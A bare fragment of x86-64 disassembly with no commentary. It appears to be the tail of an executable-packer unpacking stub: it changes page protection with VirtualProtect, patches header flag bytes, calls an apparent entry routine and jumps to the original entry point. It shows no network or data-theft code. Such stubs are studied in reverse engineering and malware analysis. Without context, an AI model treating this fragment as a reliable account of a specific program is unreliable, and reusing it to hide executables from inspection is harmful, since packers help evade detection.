mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.100edb0cc], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.100edb0cc
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100edb0bc
sub rsp, 0xffffffffffffff80
jmp 0x100003210